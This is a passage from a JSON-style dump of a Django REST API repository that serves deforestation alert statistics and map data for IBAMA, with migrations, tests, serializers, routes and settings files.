[ { "alpha_fraction": 0.5604519844055176, "alphanum_fraction": 0.5824858546257019, "avg_line_length": 59, "blob_id": "a3347e1eb678a23ab55c29a4d0ff3f2abe2dcca0", "content_id": "b4cf5b91f8c897535884803da0287493c6eb8d38", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3540, "license_type": "permissive", "max_line_length": 111, "num_lines": 59, "path": "/restApp/migrations/0002_cruzamentoalerta.py", "repo_name": "cenima-ibama/painelmma_api", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport django.contrib.gis.db.models.fields\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('restApp', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='CruzamentoAlerta',\n fields=[\n ('objectid', models.AutoField(primary_key=True, serialize=False)),\n ('mes', models.CharField(max_length=10, blank=True, null=True)),\n ('ano', models.SmallIntegerField(blank=True, null=True)),\n ('area_km2', models.DecimalField(max_digits=38, decimal_places=8, blank=True, null=True)),\n ('area_ha', models.DecimalField(max_digits=38, decimal_places=8, blank=True, null=True)),\n ('municipio', models.CharField(max_length=200, blank=True, null=True)),\n ('dominio', models.CharField(max_length=200, blank=True, null=True)),\n ('tipo', models.CharField(max_length=15, blank=True, null=True)),\n ('quinzena', models.CharField(max_length=5, blank=True, null=True)),\n ('id_des', models.CharField(unique=True, max_length=16, blank=True, null=True)),\n ('ai', models.IntegerField(blank=True, null=True)),\n ('tei', models.IntegerField(blank=True, null=True)),\n ('processo', models.CharField(max_length=20, blank=True, null=True)),\n ('url', models.CharField(max_length=200, blank=True, null=True)),\n ('vistoria', models.CharField(max_length=100, blank=True, null=True)),\n ('resp_vistoria', models.CharField(max_length=150, blank=True, null=True)),\n ('longitude', models.CharField(max_length=17, blank=True, null=True)),\n ('latitude', models.CharField(max_length=17, blank=True, null=True)),\n ('uf', models.SmallIntegerField(blank=True, null=True)),\n ('estado', models.CharField(max_length=2, blank=True, null=True)),\n ('obs', models.CharField(max_length=250, blank=True, null=True)),\n ('id_tablet', models.CharField(max_length=10, blank=True, null=True)),\n ('data_vist', models.CharField(max_length=50, blank=True, null=True)),\n ('globalid', models.CharField(max_length=50, blank=True, null=True)),\n ('dado_final', models.CharField(max_length=1, blank=True, null=True)),\n ('estagio', models.CharField(max_length=50, blank=True, null=True)),\n ('data_imagem', models.DateTimeField(blank=True, null=True)),\n ('shape', django.contrib.gis.db.models.fields.GeometryField(srid=4326, blank=True, null=True)),\n ('veg_sec', models.CharField(max_length=100, blank=True, null=True)),\n ('dominio_pi', models.CharField(max_length=255, blank=True, null=True)),\n ('dominio_us', models.CharField(max_length=255, blank=True, null=True)),\n ('dominio_ti', models.CharField(max_length=255, blank=True, null=True)),\n ('dominio_ap', models.CharField(max_length=255, blank=True, null=True)),\n ('dominio_as', models.CharField(max_length=255, blank=True, null=True)),\n ('dominio_fp', models.CharField(max_length=255, blank=True, null=True)),\n ],\n options={\n 'db_table': 'ibama\".\"alerta',\n 'managed': False,\n },\n ),\n ]\n" }, { "alpha_fraction": 0.5643254518508911, "alphanum_fraction": 0.6047751307487488, "avg_line_length": 36.354976654052734, "blob_id": "1519ac002c1bbe7c4eb31539f76f5f8f76c03d9b", "content_id": "e716e82f1750b35f58a08d3424c1fe6702b9bd50", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8628, "license_type": "permissive", "max_line_length": 79, "num_lines": 231, "path": "/restApp/tests.py", "repo_name": "cenima-ibama/painelmma_api", "src_encoding": "UTF-8", "text": "#from django.test import TestCase\nfrom datetime import date\nfrom decimal import *\n\nfrom django.core.urlresolvers import reverse\nfrom django.contrib.auth.models import User\n\nfrom rest_framework.test import APITestCase\nfrom rest_framework.authtoken.models import Token\n\nfrom .models import *\nfrom .mommy_recipes import *\n\n\ndef get_response(client, url, params):\n return client.get(\n url,\n params,\n format='json'\n )\n\n\nclass TestDiarioAwifs(APITestCase):\n\n def setUp(self):\n self.url = reverse('api:estatisticas-diario')\n self.params = {'uf': 'MT', 'ano': 2015, 'mes': 10, 'tipo': 'AWIFS'}\n deter_awifs_1.make(data_imagem=date(2015, 10, 10))\n\n def test_response(self):\n response = get_response(self.client, self.url, self.params)\n self.assertEqual(response.status_code, 200)\n self.assertEqual(len(response.data), 1)\n\n def test_response_diario(self):\n response = get_response(self.client, self.url, self.params)\n data_received = response.data[0]['data']\n self.assertEqual(len(data_received), 1)\n self.assertEqual(data_received[0]['dia'], 10)\n self.assertEqual(data_received[0]['total'], Decimal('0.13'))\n\n deter_awifs_1.make(data_imagem=date(2015, 10, 12), area_km2=0.29)\n response = get_response(self.client, self.url, self.params)\n data_received = response.data[0]['data']\n\n self.assertEqual(len(data_received), 2)\n self.assertEqual(data_received[1]['dia'], 12)\n self.assertEqual(data_received[1]['total'], Decimal('0.29'))\n\n deter_awifs_1.make(data_imagem=date(2015, 10, 12), area_km2=0.31)\n response = get_response(self.client, self.url, self.params)\n data_received = response.data[0]['data']\n\n self.assertEqual(len(data_received), 2)\n self.assertEqual(data_received[1]['dia'], 12)\n self.assertEqual(data_received[1]['total'], Decimal('0.60'))\n\n deter_awifs_1.make(data_imagem=date(2015, 10, 12), area_km2=1)\n response = get_response(self.client, self.url, self.params)\n data_received = response.data[0]['data']\n self.assertEqual(len(data_received), 2)\n self.assertEqual(data_received[1]['dia'], 12)\n self.assertEqual(data_received[1]['total'], Decimal('1.60'))\n\n deter_awifs_2.make(data_imagem=date(2015, 11, 1))\n deter_awifs_2.make(data_imagem=date(2015, 11, 1))\n deter_awifs_2.make(data_imagem=date(2015, 11, 2))\n deter_awifs_2.make(data_imagem=date(2015, 11, 3), area_km2=1.2)\n\n self.params = {'uf': 'MT', 'ano': 2015, 'mes': 11, 'tipo': 'AWIFS'}\n response = get_response(self.client, self.url, self.params)\n data_received = response.data[0]['data']\n\n self.assertEqual(len(data_received), 3)\n self.assertEqual(response.data[0]['data'][0]['dia'], 1)\n self.assertEqual(response.data[0]['data'][0]['total'], Decimal('1.64'))\n\n self.assertEqual(response.data[0]['data'][1]['dia'], 2)\n self.assertEqual(response.data[0]['data'][1]['total'], Decimal('0.82'))\n\n self.assertEqual(response.data[0]['data'][2]['dia'], 3)\n self.assertEqual(response.data[0]['data'][2]['total'], Decimal('1.2'))\n\n\nclass TestDiarioDeter(APITestCase):\n\n def setUp(self):\n self.url = reverse('api:estatisticas-diario')\n self.params = {'uf': 'MA', 'ano': 2015, 'mes': 8,\n 'tipo': 'DETER', 'estagio': 'Corte Raso'}\n daily_deter_1.make(data_imagem=date(2015, 8, 1))\n\n def test_response(self):\n response = get_response(self.client, self.url, self.params)\n self.assertEqual(response.status_code, 200)\n\n def test_response_diario(self):\n response = get_response(self.client, self.url, self.params)\n\n data_received = response.data[0]['data']\n day = data_received[0]['dia']\n area = data_received[0]['total']\n self.assertEqual(len(data_received), 1)\n self.assertEqual(day, 1)\n self.assertEqual(area, Decimal('0.23'))\n\n daily_deter_1.make(data_imagem=date(2015, 8, 1), area_km2=1)\n response = get_response(self.client, self.url, self.params)\n\n data_received = response.data[0]['data']\n day = data_received[0]['dia']\n area = data_received[0]['total']\n self.assertEqual(len(data_received), 1)\n self.assertEqual(day, 1)\n self.assertEqual(area, Decimal('1.23'))\n\n daily_deter_1.make(data_imagem=date(2015, 8, 9), area_km2=1.89)\n response = get_response(self.client, self.url, self.params)\n data_received = response.data[0]['data']\n day = data_received[1]['dia']\n area = data_received[1]['total']\n self.assertEqual(len(data_received), 2)\n self.assertEqual(day, 9)\n self.assertEqual(area, Decimal('1.89'))\n\n daily_deter_1.make(data_imagem=date(2015, 8, 10), area_km2=1)\n daily_deter_1.make(data_imagem=date(2015, 8, 11), area_km2=1)\n daily_deter_1.make(data_imagem=date(2015, 8, 10), area_km2=2)\n daily_deter_1.make(data_imagem=date(2015, 8, 30), area_km2=2)\n\n response = get_response(self.client, self.url, self.params)\n data_received = response.data[0]['data']\n self.assertEqual(len(data_received), 5)\n\n self.assertEqual(data_received[0]['dia'], 1)\n self.assertEqual(data_received[1]['dia'], 9)\n self.assertEqual(data_received[2]['dia'], 10)\n self.assertEqual(data_received[3]['dia'], 11)\n self.assertEqual(data_received[4]['dia'], 30)\n\n self.assertEqual(data_received[0]['total'], Decimal('1.23'))\n self.assertEqual(data_received[1]['total'], Decimal('1.89'))\n self.assertEqual(data_received[2]['total'], Decimal('3'))\n self.assertEqual(data_received[3]['total'], Decimal('1'))\n self.assertEqual(data_received[4]['total'], Decimal('2'))\n\n\nclass TestDiarioQualif(APITestCase):\n\n def setUp(self):\n self.url = reverse('api:estatisticas-diario')\n self.params = {'uf': 'BA', 'ano': 2013, 'mes': 9,\n 'tipo': 'DETER', 'estagio': 'Corte Raso'}\n\n def test_response(self):\n response = get_response(self.client, self.url, self.params)\n self.assertEqual(response.status_code, 200)\n\n\nclass TestMontly(APITestCase):\n\n def setUp(self):\n self.url = reverse('api:estatisticas-mensal')\n # self.user = User.objects.create_user(\n # 'test', '[email protected]', 'password'\n # )\n # self.token = Token.objects.get(user=self.user)\n\n # def test_response(self):\n\n # response = get_response(self.client, self.url, None)\n # self.assertEqual(response.status_code, 200)\n\n def test_daily_deter_response(self):\n daily_deter_1.make()\n daily_deter_2.make()\n\n response = self.client.post(\n revese(\"api:login\"),\n {'username': 'test', 'password': 'password'},\n format='json'\n )\n\n params = {'uf': 'MA', 'ano': 2015, 'mes': 8,\n 'tipo': 'DETER'}\n\n response = get_response(self.client, self.url, params)\n self.assertEqual(response.status_code, 200)\n\n data_received = response.data[0]['data']\n self.assertEqual(len(data_received), 1)\n\n # def test_public_deter_response(self):\n # public_deter_1.make()\n # public_deter_2.make()\n\n # params = {'uf': 'MA', 'ano': 2015, 'mes': 8,\n # 'tipo': 'DETER', 'estagio': 'Corte Raso'}\n\n # response = get_response(self.client, self.url, params)\n\n # def test_daily_deter_qualif_response(self):\n # daily_deter_qualif_1.make()\n # daily_deter_qualif_2.make()\n\n # params = {'uf': 'MA', 'ano': 2015, 'mes': 8,\n # 'tipo': 'DETER', 'estagio': 'Corte Raso'}\n\n # response = get_response(self.client, self.url, params)\n # self.assertEqual(response.status_code, 200)\n # self.assertEqual(response.status_code, 200)\n\n # def test_public_deter_qualif_response(self):\n # public_deter_qualif_1.make()\n # public_deter_qualif_2.make()\n\n # params = {'uf': 'MA', 'ano': 2015, 'mes': 8,\n # 'tipo': 'DETER', 'estagio': 'Corte Raso'}\n\n # response = get_response(self.client, self.url, params)\n # self.assertEqual(response.status_code, 200)\n\n # def test_deter_awifs_response(self):\n # deter_awifs_1.make()\n # deter_awifs_2.make()\n\n # params = {'uf': 'MA', 'ano': 2015, 'mes': 8,\n # 'tipo': 'DETER', 'estagio': 'Corte Raso'}\n\n # response = get_response(self.client, self.url, params)\n # self.assertEqual(response.status_code, 200)" }, { "alpha_fraction": 0.7407407164573669, "alphanum_fraction": 0.7407407164573669, "avg_line_length": 26, "blob_id": "85a7a549683402f2560e1671defa2a6461b7b2ce", "content_id": "9f6c92f8bc9fe06270e9980213c5f9167062e29c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 27, "license_type": "permissive", "max_line_length": 26, "num_lines": 1, "path": "/static/README.md", "repo_name": "cenima-ibama/painelmma_api", "src_encoding": "UTF-8", "text": "## Folder for static files\n" }, { "alpha_fraction": 0.656410276889801, "alphanum_fraction": 0.6572649478912354, "avg_line_length": 30.62162208557129, "blob_id": "0a6b7db1ecd1905f9abf0048ffc2568d9bea2391", "content_id": "cd265c8f4ae54612dd87ccf8651573f60474812f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1170, "license_type": "permissive", "max_line_length": 106, "num_lines": 37, "path": "/painelmma_api/serializers.py", "repo_name": "cenima-ibama/painelmma_api", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nfrom rest_framework.serializers import ModelSerializer, SerializerMethodField, BaseSerializer\nfrom rest_framework_gis.serializers import GeoFeatureModelSerializer\n\nfrom django.db.models import Sum, Count\nfrom decimal import *\n\nfrom .models import *\n# from loginApp.models import UserPermited\n\n# from .utils import get_reverse_month, belongs_prodes, get_prodes,get_month\n\n\nclass AlertaSerializer(ModelSerializer):\n # data = SerializerMethodField()\n\n class Meta:\n model = AlertaHexgis\n fields = ['img_data', 'img_n_data', 'area_ha', 'img_ex','img_n_ex', 'estagio', 'dia', 'total']\n\n # def get_data(self, obj):\n # queryset = AlertaHexgis.objects.values('img_data', 'img_n_data', 'area_ha', 'img_ex','img_n_ex')\n # # # queryset = filter_daily_total(\n # # # queryset, self.context['request'].GET\n # # # )\n # return queryset\n\n\n\nclass AlertaMapaSerializer(GeoFeatureModelSerializer):\n # data = SerializerMethodField()\n\n class Meta:\n model = AlertaHexgis\n geo_field = 'geom'\n fields = ['img_data', 'area_ha', 'estagio', 'id_des', 'interval', 'img_ex', 'img_n_ex']\n" }, { "alpha_fraction": 0.5484996438026428, "alphanum_fraction": 0.5701326131820679, "avg_line_length": 22.129032135009766, "blob_id": "80a4e1d3b8efecc191b39d057954eec2fbea91d4", "content_id": "531186c2bceb37274ba3cb4790ea8d0350cc5b1b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1433, "license_type": "permissive", "max_line_length": 107, "num_lines": 62, "path": "/restApp/urls.py", "repo_name": "cenima-ibama/painelmma_api", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom rest_framework.urlpatterns import format_suffix_patterns\n\nfrom django.conf.urls import patterns, url\n\nfrom .views import grafico1, grafico2, grafico3, grafico4, grafico5, grafico6, grafico7, grafico8, grafico9\nfrom .views import gauge1, gauge2\nfrom .views import mapa\nfrom .views import cruzamentoGrafico1, cruzamentoGrafico2\n\n\nurlpatterns = patterns('',\n url(r'^diario/$',\n grafico1.as_view(),\n name=\"estatisticas-diario\"\n ),\n url(r'^mensal/$',\n grafico2.as_view(),\n name=\"estatisticas-mensal\"\n ),\n url(r'^indice/$',\n grafico3.as_view()\n ),\n url(r'^uf/$',\n grafico4.as_view()\n ),\n url(r'^acumulado/$',\n grafico5.as_view()\n ),\n url(r'^uf_comparativo/$',\n grafico6.as_view()\n ),\n url(r'^nuvens/$',\n grafico7.as_view()\n ),\n url(r'^uf_periodo/$',\n grafico8.as_view()\n ),\n url(r'^uf_mes_periodo/$',\n grafico9.as_view()\n ),\n url(r'^comparativo/$',\n gauge1.as_view()\n ),\n url(r'^comparativo_prodes/$',\n gauge2.as_view()\n ),\n url(r'^mapa/$',\n mapa.as_view(),\n name=\"mapa\"\n ),\n url(r'^cruz-grafico1/$',\n cruzamentoGrafico1.as_view(),\n name=\"cruz-grafico1\"\n ),\n url(r'^cruz-grafico2/$',\n cruzamentoGrafico2.as_view(),\n name=\"cruz-grafico2\"\n ),\n)\n\nurlpatterns = format_suffix_patterns(urlpatterns)" }, { "alpha_fraction": 0.8187134265899658, "alphanum_fraction": 0.8187134265899658, "avg_line_length": 23.428571701049805, "blob_id": "3c8718c3adda03bd3f451d11091bb557ea9ad494", "content_id": "9aa9619f737d2c89e84868d2f8d5d8f24db3446a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 171, "license_type": "permissive", "max_line_length": 42, "num_lines": 7, "path": "/loginApp/admin.py", "repo_name": "cenima-ibama/painelmma_api", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom .models import UserPermited, LDAPUser\n\n# Register your models here.\n\nadmin.site.register(UserPermited)\nadmin.site.register(LDAPUser)\n" }, { "alpha_fraction": 0.5604982376098633, "alphanum_fraction": 0.5676156878471375, "avg_line_length": 20.615385055541992, "blob_id": "e8373bd2fe6c3f5b887e66a6cb43b722e1222760", "content_id": "ba8769105b9b533f34ee593e23bc10f2de1c3334", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 562, "license_type": "permissive", "max_line_length": 52, "num_lines": 26, "path": "/painel_api/settings/test.py", "repo_name": "cenima-ibama/painelmma_api", "src_encoding": "UTF-8", "text": "from __future__ import absolute_import\n\nfrom .base import *\n\n########## IN-MEMORY TEST DATABASE\nDATABASES = {\n \"default\": {\n\t\t\t'ENGINE': 'django.db.backends.sqlite3',\n\t\t\t'NAME': 'painel.db'\n\t\t\t# \"ENGINE\": \"django.db.backends.sqlite3\",\n\t\t\t# \"NAME\": \":memory:\",\n\t\t\t# \"USER\": \"painel\",\n\t\t\t# \"PASSWORD\": \"painel\",\n\t\t\t# \"HOST\": \"localhost\",\n\t\t\t# \"PORT\": \"\",\n },\n # 'siscom_db': {\n\t\t\t# 'ENGINE': 'django.db.backends.sqlite3',\n\t\t\t# 'NAME': 'siscom.db'\n # }\n}\nSCHEMA = 'ibama'\n\nPASSWORD_HASHERS = (\n 'django.contrib.auth.hashers.MD5PasswordHasher',\n)\n" }, { "alpha_fraction": 0.6867470145225525, "alphanum_fraction": 0.6897590160369873, "avg_line_length": 19.8125, "blob_id": "80a2fcda05bb326c962e181440edd81f7c03e7a6", "content_id": "d54207c5d14936a98893ba236618150022b69195", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 332, "license_type": "permissive", "max_line_length": 61, "num_lines": 16, "path": "/loginApp/urls.py", "repo_name": "cenima-ibama/painelmma_api", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom rest_framework.urlpatterns import format_suffix_patterns\n\nfrom django.conf.urls import patterns, url\n\nfrom .views import ObtainPass\n\n\nurlpatterns = patterns('',\n url(r'obtain-pass/', \n ObtainPass.as_view(),\n name='obtain-pass'\n ),\n)\n\nurlpatterns = format_suffix_patterns(urlpatterns)" }, { "alpha_fraction": 0.6352941393852234, "alphanum_fraction": 0.6376470327377319, "avg_line_length": 20.299999237060547, "blob_id": "a0237680356938bf4adb0c05a209df45a247bc6f", "content_id": "1538f1c97f8ae8bf6b63c115b0b25302abd5a582", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 425, "license_type": "permissive", "max_line_length": 61, "num_lines": 20, "path": "/painelmma_api/urls.py", "repo_name": "cenima-ibama/painelmma_api", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom rest_framework.urlpatterns import format_suffix_patterns\n\nfrom django.conf.urls import patterns, url\n\nfrom .views import GetData, GetMapData\n\n\nurlpatterns = patterns('',\n url(r'get-data/$', \n GetData.as_view(),\n name='get-data'\n ),\n url(r'get-map-data/', \n GetMapData.as_view(),\n name='get-map-data'\n ),\n)\n\nurlpatterns = format_suffix_patterns(urlpatterns)" }, { "alpha_fraction": 0.5196078419685364, "alphanum_fraction": 0.520761251449585, "avg_line_length": 27.42622947692871, "blob_id": "254ffbaa241e508863efdfad89175ab26dddfc74", "content_id": "73661dc7adc75c027f2ae25ad2a66f236ee80a62", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1738, "license_type": "permissive", "max_line_length": 65, "num_lines": 61, "path": "/painelmma_api/filter_functions.py", "repo_name": "cenima-ibama/painelmma_api", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nfrom django.db.models import Sum\nfrom django.db.models.expressions import RawSQL\n\n# from .utils import get_month\nfrom datetime import *\n\ndef filter_total(queryset, context):\n if 'ano' in context and context['ano']:\n queryset = queryset.filter(\n img_data__year=int(context['ano'])\n )\n\n if 'mes' in context and context['mes']:\n queryset = queryset.filter(\n img_data__month=int(context['mes'])\n )\n\n if 'estagio' in context and context['estagio']:\n estagio = context['estagio']\n\n if estagio == 'Corte Raso':\n queryset = queryset.filter(\n estagio__in=['CR','CR+']\n )\n elif estagio == 'Degradação':\n queryset = queryset.filter(\n estagio__in=['DG','DG+']\n )\n elif estagio == 'Degradação + Corte Raso':\n queryset = queryset\n else:\n queryset = queryset.filter(\n estagio=estagio\n )\n\n return queryset\n\n # elif 'mes' in context and context['mes'] and qualif:\n # queryset = queryset.filter(\n # mes=int(context['mes'])\n # )\n\n # if 'estagio' in context and context['estagio']:\n # queryset = queryset.filter(\n # estagio=context['estagio']\n # )\n\n # if 'uf' in context and context['uf'] and not qualif:\n # queryset = queryset.filter(\n # estado=context['uf']\n # )\n\n # if not qualif:\n # return queryset.values('data_imagem')\\\n # .annotate(\n # total=Sum('area_km2'),\n # ).annotate(\n # dia=RawSQL(\"EXTRACT(day FROM data_imagem)\", ())\n # ).order_by('dia')\n" }, { "alpha_fraction": 0.5610560774803162, "alphanum_fraction": 0.5654565691947937, "avg_line_length": 30.379310607910156, "blob_id": "faee9c2664911e2e920dab0642b42e7309952da8", "content_id": "acf4a043a8483413981710cdbb7d093fbf34a7aa", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 909, "license_type": "permissive", "max_line_length": 69, "num_lines": 29, "path": "/painelmma_api/dbrouters.py", "repo_name": "cenima-ibama/painelmma_api", "src_encoding": "UTF-8", "text": "class SiscomRouter(object):\n \"\"\"\n A router to control all database operations on models in the\n restApp application.\n \"\"\"\n def db_for_read(self, model, **hints):\n \"\"\"\n Attempts to read operations models go to painelmma_db.\n \"\"\"\n if model._meta.app_label == 'painelmma_api':\n return 'painelmma_db'\n return None\n\n def db_for_write(self, model, **hints):\n \"\"\"\n Attempts to write operations models go to painelmma_db.\n \"\"\"\n if model._meta.app_label == 'painelmma_api':\n return 'painelmma_db'\n return None\n\n def allow_relation(self, obj1, obj2, **hints):\n \"\"\"\n Allow relations if a model in the operations app is involved.\n \"\"\"\n if obj1._meta.app_label == 'painelmma_api' or \\\n obj2._meta.app_label == 'painelmma_api':\n return True\n return None" }, { "alpha_fraction": 0.5560271739959717, "alphanum_fraction": 0.5712365508079529, "avg_line_length": 61.82666778564453, "blob_id": "5053bf17523442ecb052f515e1dc131ee929e97d", "content_id": "47a95f09fa9707c2dd51520b73118f661597cd68", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 14136, "license_type": "permissive", "max_line_length": 115, "num_lines": 225, "path": "/restApp/migrations/0001_initial.py", "repo_name": "cenima-ibama/painelmma_api", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport django.contrib.gis.db.models.fields\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='DailyAlertaAwifs',\n fields=[\n ('objectid', models.AutoField(primary_key=True, serialize=False)),\n ('mes', models.CharField(blank=True, null=True, max_length=10)),\n ('ano', models.SmallIntegerField(blank=True, null=True)),\n ('area_km2', models.DecimalField(blank=True, null=True, decimal_places=2, max_digits=38)),\n ('dominio', models.CharField(blank=True, null=True, max_length=200)),\n ('tipo', models.CharField(blank=True, null=True, max_length=15)),\n ('uf', models.SmallIntegerField(blank=True, null=True)),\n ('estado', models.CharField(blank=True, null=True, max_length=2)),\n ('data_imagem', models.DateTimeField(blank=True, null=True)),\n ('shape', django.contrib.gis.db.models.fields.GeometryField(blank=True, null=True, srid=4326)),\n ('centroide', django.contrib.gis.db.models.fields.GeometryField(blank=True, null=True, srid=4326)),\n ('mesid', models.TextField(blank=True, null=True)),\n ('estagio', models.CharField(blank=True, null=True, max_length=50)),\n ('periodo_prodes', models.CharField(blank=True, null=True, max_length=10)),\n ],\n options={\n 'db_table': 'ibama\".\"vw_alerta_awifs',\n 'managed': False,\n },\n ),\n migrations.CreateModel(\n name='DailyAlertaDeter',\n fields=[\n ('objectid', models.AutoField(primary_key=True, serialize=False)),\n ('mes', models.CharField(blank=True, null=True, max_length=10)),\n ('ano', models.SmallIntegerField(blank=True, null=True)),\n ('area_km2', models.DecimalField(blank=True, null=True, decimal_places=2, max_digits=38)),\n ('dominio', models.CharField(blank=True, null=True, max_length=200)),\n ('tipo', models.CharField(blank=True, null=True, max_length=15)),\n ('uf', models.SmallIntegerField(blank=True, null=True)),\n ('estado', models.CharField(blank=True, null=True, max_length=2)),\n ('data_imagem', models.DateTimeField(blank=True, null=True)),\n ('shape', django.contrib.gis.db.models.fields.GeometryField(blank=True, null=True, srid=4326)),\n ('centroide', django.contrib.gis.db.models.fields.GeometryField(blank=True, null=True, srid=4326)),\n ('mesid', models.TextField(blank=True, null=True)),\n ('estagio', models.CharField(blank=True, null=True, max_length=50)),\n ('periodo_prodes', models.CharField(blank=True, null=True, max_length=10)),\n ],\n options={\n 'db_table': 'ibama\".\"vw_alerta_deter',\n 'managed': False,\n },\n ),\n migrations.CreateModel(\n name='DailyAlertaDeterQualif',\n fields=[\n ('objectid', models.AutoField(primary_key=True, serialize=False)),\n ('periodo_prodes', models.CharField(blank=True, null=True, max_length=10)),\n ('mes', models.CharField(blank=True, null=True, max_length=10)),\n ('ano', models.SmallIntegerField(blank=True, null=True)),\n ('mes_ano', models.CharField(blank=True, null=True, max_length=6)),\n ('cicatriz_fogo', models.DecimalField(blank=True, null=True, decimal_places=2, max_digits=6)),\n ('corte_raso_deter', models.DecimalField(blank=True, null=True, decimal_places=2, max_digits=6)),\n ('degradacao_deter', models.DecimalField(blank=True, null=True, decimal_places=2, max_digits=6)),\n ('alta', models.DecimalField(blank=True, null=True, decimal_places=2, max_digits=6)),\n ('leve', models.DecimalField(blank=True, null=True, decimal_places=2, max_digits=6)),\n ('moderada', models.DecimalField(blank=True, null=True, decimal_places=2, max_digits=6)),\n ('falso_positivo', models.DecimalField(blank=True, null=True, decimal_places=2, max_digits=6)),\n ('nao_avaliado', models.DecimalField(blank=True, null=True, decimal_places=2, max_digits=6)),\n ('deter_total', models.DecimalField(blank=True, null=True, decimal_places=2, max_digits=6)),\n ('total_avaliado', models.DecimalField(blank=True, null=True, decimal_places=2, max_digits=6)),\n ('porc_area_avaliada', models.SmallIntegerField(blank=True, null=True)),\n ('mesid', models.TextField(blank=True, null=True)),\n ],\n options={\n 'db_table': 'ibama\".\"vw_deter_qualificado',\n 'managed': False,\n },\n ),\n migrations.CreateModel(\n name='DailyAlertaLandsat',\n fields=[\n ('objectid', models.AutoField(primary_key=True, serialize=False)),\n ('mes', models.CharField(blank=True, null=True, max_length=10)),\n ('ano', models.SmallIntegerField(blank=True, null=True)),\n ('area_km2', models.DecimalField(blank=True, null=True, decimal_places=2, max_digits=38)),\n ('dominio', models.CharField(blank=True, null=True, max_length=200)),\n ('tipo', models.CharField(blank=True, null=True, max_length=15)),\n ('uf', models.SmallIntegerField(blank=True, null=True)),\n ('estado', models.CharField(blank=True, null=True, max_length=2)),\n ('data_imagem', models.DateTimeField(blank=True, null=True)),\n ('shape', django.contrib.gis.db.models.fields.GeometryField(blank=True, null=True, srid=4326)),\n ('centroide', django.contrib.gis.db.models.fields.GeometryField(blank=True, null=True, srid=4326)),\n ('mesid', models.TextField(blank=True, null=True)),\n ('estagio', models.CharField(blank=True, null=True, max_length=50)),\n ('periodo_prodes', models.CharField(blank=True, null=True, max_length=10)),\n ],\n options={\n 'db_table': 'ibama\".\"vw_alerta_indicar',\n 'managed': False,\n },\n ),\n migrations.CreateModel(\n name='PublicAlertaDeter',\n fields=[\n ('objectid', models.AutoField(primary_key=True, serialize=False)),\n ('mes', models.CharField(blank=True, null=True, max_length=10)),\n ('ano', models.SmallIntegerField(blank=True, null=True)),\n ('area_km2', models.DecimalField(blank=True, null=True, decimal_places=8, max_digits=38)),\n ('area_ha', models.DecimalField(blank=True, null=True, decimal_places=8, max_digits=38)),\n ('municipio', models.CharField(blank=True, null=True, max_length=200)),\n ('dominio', models.CharField(blank=True, null=True, max_length=200)),\n ('tipo', models.CharField(blank=True, null=True, max_length=15)),\n ('quinzena', models.CharField(blank=True, null=True, max_length=5)),\n ('id_des', models.CharField(blank=True, null=True, unique=True, max_length=16)),\n ('ai', models.IntegerField(blank=True, null=True)),\n ('tei', models.IntegerField(blank=True, null=True)),\n ('processo', models.CharField(blank=True, null=True, max_length=20)),\n ('url', models.CharField(blank=True, null=True, max_length=200)),\n ('vistoria', models.CharField(blank=True, null=True, max_length=100)),\n ('resp_vistoria', models.CharField(blank=True, null=True, max_length=150)),\n ('longitude', models.CharField(blank=True, null=True, max_length=17)),\n ('latitude', models.CharField(blank=True, null=True, max_length=17)),\n ('uf', models.SmallIntegerField(blank=True, null=True)),\n ('estado', models.CharField(blank=True, null=True, max_length=2)),\n ('obs', models.CharField(blank=True, null=True, max_length=250)),\n ('id_tablet', models.CharField(blank=True, null=True, max_length=10)),\n ('data_vist', models.CharField(blank=True, null=True, max_length=50)),\n ('globalid', models.CharField(blank=True, null=True, max_length=50)),\n ('dado_final', models.CharField(blank=True, null=True, max_length=1)),\n ('estagio', models.CharField(blank=True, null=True, max_length=50)),\n ('data_imagem', models.DateTimeField(blank=True, null=True)),\n ('shape', django.contrib.gis.db.models.fields.GeometryField(blank=True, null=True, srid=4326)),\n ('veg_sec', models.CharField(blank=True, null=True, max_length=100)),\n ('periodo_prodes', models.CharField(blank=True, null=True, max_length=10)),\n ('mesid', models.TextField(blank=True, null=True)),\n ],\n options={\n 'db_table': 'ibama\".\"vw_publica_alerta_deter_por_periodo',\n 'managed': False,\n },\n ),\n migrations.CreateModel(\n name='PublicAlertaDeterQualif',\n fields=[\n ('objectid', models.AutoField(primary_key=True, serialize=False)),\n ('periodo_prodes', models.CharField(blank=True, null=True, max_length=10)),\n ('mes', models.CharField(blank=True, null=True, max_length=10)),\n ('ano', models.SmallIntegerField(blank=True, null=True)),\n ('mes_ano', 